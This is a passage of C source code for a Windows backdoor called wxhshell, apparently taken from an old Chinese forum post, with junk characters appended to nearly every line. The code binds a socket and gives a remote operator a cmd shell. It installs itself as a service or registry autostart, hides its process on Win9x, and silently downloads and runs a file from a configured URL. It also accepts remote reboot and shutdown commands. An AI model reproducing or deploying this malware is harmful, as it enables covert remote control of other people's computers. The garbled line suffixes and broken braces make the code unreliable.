  case '?': { h?4EVOx+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MZX@Gi<S[  
    break;  9[YnY~z)  
  } bYhG`1,$-a  
  // 安装 7rGp^  
  case 'i': { l`X?C~JhJ  
    if(Install()) Iv9U4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [?,+DY  
    else } 21!b :a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sc}Rs  
    break; &:g1*+  
    } d:]ZFk_*  
  // 卸载 |VyN>&r~6  
  case 'r': { %|R]nB  
    if(Uninstall()) r@'~cF]m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;D1O;c'W.  
    else CL(D&8v8~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ao (Lv+  
    break; M#8_Qbvfk  
    } 23bTCp.d  
  // 显示 wxhshell 所在路径 :Us+u-~  
  case 'p': { lPA}06hU  
    char svExeFile[MAX_PATH]; w; f LnEz_  
    strcpy(svExeFile,"\n\r"); *'{9(Oj  
      strcat(svExeFile,ExeFile); zY4y]k8D*  
        send(wsh,svExeFile,strlen(svExeFile),0); A&-2f]L tl  
    break; iM8l,Os]<f  
    } #&K}w 0}k  
  // 重启 k%N$eO$  
  case 'b': { v.,D,6qZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t|UM2h  
    if(Boot(REBOOT)) K\lu;   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i~4$V  
    else { [ 8WG  
    closesocket(wsh); \K Kt& bKL  
    ExitThread(0); l?^}n(_.  
    } J/Ch /Sa  
    break; ~qA\u5sB9@  
    } zx?|5=+!  
  // 关机 IFF1wfC  
  case 'd': { 9!Fg1 h=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fLkC|  
    if(Boot(SHUTDOWN)) `w "ooK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2ryg3% +O  
    else { ,C'mE''x  
    closesocket(wsh); O;(n[k  
    ExitThread(0); "1Y DT-I"  
    } s|:j~>53  
    break; GgvMd~  
    } Vg"vC  
  // 获取shell +KP&D.wIo  
  case 's': { M=5hp&=  
    CmdShell(wsh); HJe6h. P  
    closesocket(wsh); @< 0c  
    ExitThread(0); j 4(f1  
    break; BGO pUy  
  } A_.}- dzF  
  // 退出 ?y[i6yN9  
  case 'x': { `;s#/`c|/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &w^:nVgl  
    CloseIt(wsh); vH"^a/95|  
    break; z&.F YGq}  
    } _J_QB]t  
  // 离开 xl(R|D))  
  case 'q': { ^8g<>, $  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (/_w23rr  
    closesocket(wsh); ;x u&%n[6@  
    WSACleanup(); };>~P%u32  
    exit(1); Z4T{CwD`D  
    break; MeO2 cy!5q  
        } )=#zMdK&  
  } ooN?x31  
  } e1R<+`]  
7)x 788Z6  
  // 提示信息 !z+'mF?V+X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sN/8OLc  
} Cuom_+wV&  
  } x\Kt}/97e  
edfb7prfTl  
  return; VO,F[E~_  
} i#Z#(D `m  
`t]8 [P5  
// shell模块句柄 !=vd:,  
int CmdShell(SOCKET sock) ;fm> \f  
{ {$_Gjv  
STARTUPINFO si; >q1rdq  
ZeroMemory(&si,sizeof(si)); C ?aa)H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; < _ <?p&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O _^Y*!  
PROCESS_INFORMATION ProcessInfo; xbZR/!?  
char cmdline[]="cmd"; LP//\E_]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nm@.] "/  
  return 0; i [2bz+Z?  
} d PF*G$  
3^Z@fC  
// 自身启动模式 0$. ;EGP  
int StartFromService(void) BVxk}#d  
{ 6JE_rAab  
typedef struct wl%I(Cw{]  
{ E.^F:$2  
  DWORD ExitStatus; ZE6W"pbjU  
  DWORD PebBaseAddress; [LKzH!  
  DWORD AffinityMask; W,[iRmxn  
  DWORD BasePriority; fvZ[eJ  
  ULONG UniqueProcessId; qXB5wDJg  
  ULONG InheritedFromUniqueProcessId; =nG>aAG  
}   PROCESS_BASIC_INFORMATION; $&. rS.*  
W$Z8AZ{E  
PROCNTQSIP NtQueryInformationProcess; :2AlvjvjZ  
$%?[f;S3,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }ZfdjF8N!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hU 5_ dV  
*~8g:;u  
  HANDLE             hProcess; q$jwH] .  
  PROCESS_BASIC_INFORMATION pbi; } v3w-  
rVDOco+w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Poxoc-s  
  if(NULL == hInst ) return 0; v=x)]<E" _  
<l$ vnq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D #C\| E:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Twpk@2=l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (4FZK7Fm  
#[sJKW  
  if (!NtQueryInformationProcess) return 0; m%)S <L7 l  
!s[ gv1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H.)J?3  
  if(!hProcess) return 0; z]1g;j  
d"}lh:L9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ba9"IXKH  
!1`f84d  
  CloseHandle(hProcess); OTmr-l6  
8n/[oDc]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NX?6 (lO,  
if(hProcess==NULL) return 0; iy|xF~  
H=*2A!O[_  
HMODULE hMod; P$"s*otr  
char procName[255]; WWv.kglz  
unsigned long cbNeeded; lk4$c1ao2@  
f!JSb?#3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c)SQ@B@q  
5 $. az  
  CloseHandle(hProcess); E=qfI>2U&  
KqWO9d?w.  
if(strstr(procName,"services")) return 1; // 以服务启动 G:Nwi=vN  
>&)|fV&4  
  return 0; // 注册表启动 KZ|p_{0&  
} ,UneS  
6' 9zpe@`  
// 主模块 6x@4gP y[  
int StartWxhshell(LPSTR lpCmdLine) a-9sc6@  
{ p?x]|`M  
  SOCKET wsl; Uk4G9}I  
BOOL val=TRUE; 'HvJ]}p  
  int port=0; C59H| S  
  struct sockaddr_in door; }Hb_8P  
3s_$.  
  if(wscfg.ws_autoins) Install(); M3H^s_  
h~k+!\  
port=atoi(lpCmdLine); /(Ryh6M  
)h/Qxf  
if(port<=0) port=wscfg.ws_port; 'UB"z{w%  
6o]>lQ}  
  WSADATA data; Q$~_'I7~Mz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IUQYoKz4}A  
[ejl #'*5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   laaoIL^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3s Mmg`  
  door.sin_family = AF_INET; 3 /LW6W|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TU?$yNE  
  door.sin_port = htons(port); T0K*!j}O  
MMf_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rqhRrG{L|&  
closesocket(wsl);  q #X[oVq  
return 1; Z^GXKOeq  
} `qa>6`\  
(0zYS_m A  
  if(listen(wsl,2) == INVALID_SOCKET) { opqf)C  
closesocket(wsl); pe-%`1iC0>  
return 1; :47"c3J  
} 3y-P-NI~=  
  Wxhshell(wsl); >TS=tK  
  WSACleanup(); !9EbG  
+!"7=?}  
return 0; ,~7+r#q7  
*5R91@xt  
} N#7_)S[@0l  
@wa<nY d  
// 以NT服务方式启动 'jBtBFzP-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p&3~n: Fo  
{ Q&?B^[N*Q  
DWORD   status = 0; _OR[RGy  
  DWORD   specificError = 0xfffffff; $ Bdxu  
*ZF:LOnU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [N1[khY`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r%^XOw<'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [,q^\T  
  serviceStatus.dwWin32ExitCode     = 0; kud2O>>  
  serviceStatus.dwServiceSpecificExitCode = 0; J*]JH{  
  serviceStatus.dwCheckPoint       = 0; M pLn)  
  serviceStatus.dwWaitHint       = 0; " {Nw K  
vz'<i. Yv4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k1M?6TW&  
  if (hServiceStatusHandle==0) return; R|dSjEs  
mNr<=Z%b  
status = GetLastError(); UJGmaE  
  if (status!=NO_ERROR) kl9<l*  
{ RUlJP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j0IuuJ+  
    serviceStatus.dwCheckPoint       = 0; B~/ejC!  
    serviceStatus.dwWaitHint       = 0; &^@IAjxn  
    serviceStatus.dwWin32ExitCode     = status; gBXJ/BW$y  
    serviceStatus.dwServiceSpecificExitCode = specificError; Wx-rW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QNCG^ub  
    return; _c6 zzGtH  
  } >)S'`e4Gu  
-Khb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S:xG:[N@  
  serviceStatus.dwCheckPoint       = 0; kNTxYJ  
  serviceStatus.dwWaitHint       = 0; Qv:J#uVw?O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K6z-brvw "  
} Q OP8{~O  
iC\t@BVS  
// 处理NT服务事件,比如:启动、停止 3W}xYYs] ^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SZ"^>}zl=  
{ t!}?nw%$  
switch(fdwControl) N^&T5cAC  
{ O{`r.H1',  
case SERVICE_CONTROL_STOP: IDr$Vu4LCW  
  serviceStatus.dwWin32ExitCode = 0; |p{FSS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L[9]Ez$2+  
  serviceStatus.dwCheckPoint   = 0; t= oTU,<  
  serviceStatus.dwWaitHint     = 0; mbRN W  
  { YC0FXNV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;R.l?Bg  
  } [sH[bmLR  
  return; _fQBXG2  
case SERVICE_CONTROL_PAUSE: J#'+&D H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7A[`%.!F6  
  break; r)SwV!b  
case SERVICE_CONTROL_CONTINUE: _K"X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1p9+c~4l:  
  break; xkzC+ _A  
case SERVICE_CONTROL_INTERROGATE: *S@0o6v  
  break; y-c2tF@'v  
}; L E>A|M$X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >HXmpu.O  
} .2 /$ !'E  
Z[{: `  
// 标准应用程序主函数 Fv6<Cz6L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W}U-u{Z  
{ yy6?16@  
/n SmGAO  
// 获取操作系统版本 )} H46  
OsIsNt=GetOsVer(); c{u~=24;%#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VfiMR%i}  
bLysUj5[5  
  // 从命令行安装 BEzF'<Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); uI I:Y{G  
bNG;`VZ%  
  // 下载执行文件 &&;ol}W  
if(wscfg.ws_downexe) { |E)Es!dr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v@0lTl_  
  WinExec(wscfg.ws_filenam,SW_HIDE); oiq7I@Y`x  
} YolO-5  
heliL/  
if(!OsIsNt) { /IS j0"/$  
// 如果时win9x,隐藏进程并且设置为注册表启动 H3"[zg9L:a  
HideProc(); ^ )Lh5   
StartWxhshell(lpCmdLine); l0 H,TT~2  
} ? 5qo>W<7  
else XLK#=YTI  
  if(StartFromService()) ~R]E=/m|  
  // 以服务方式启动 AFWcTz6#d  
  StartServiceCtrlDispatcher(DispatchTable); Q)c $^YsI  
else a<%WFix  
  // 普通方式启动 HN\Zrb  
  StartWxhshell(lpCmdLine); .-;K$'YG  
bUC-}  
return 0; 0}YR=  
}
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只看该作者 1 发表于: 2006-10-10
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